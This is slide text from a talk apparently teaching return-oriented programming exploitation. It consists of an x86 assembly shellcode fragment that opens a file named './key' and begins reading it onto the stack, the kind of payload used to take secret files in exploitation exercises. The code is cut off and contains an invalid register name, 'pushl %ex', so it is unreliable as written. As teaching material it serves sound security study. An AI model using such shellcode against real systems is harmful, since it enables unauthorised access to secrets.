Slide 1
Slide 1 text
Software exploitation : ROP
Julien Bachmann
.text
.global _start
_start:
push $5
pop %eax
cltd
pushl %edx
push $0x79
push $0x656b2f2e
movl %esp,%ebx
pushl %ex
pushl %ebx
pushl %edx
int $0x80
mov $100,%dl
sub %edx,%esp
mov %esp,%ecx
xchg %eax,%ebx
push %edx
push %ecx
push %ebx
xorl %eax,%eax
pushl %eax
push $3
pop %eax
int $0x80
movb $0xff,0x4(%esp)
movl %eax,0xc(%esp)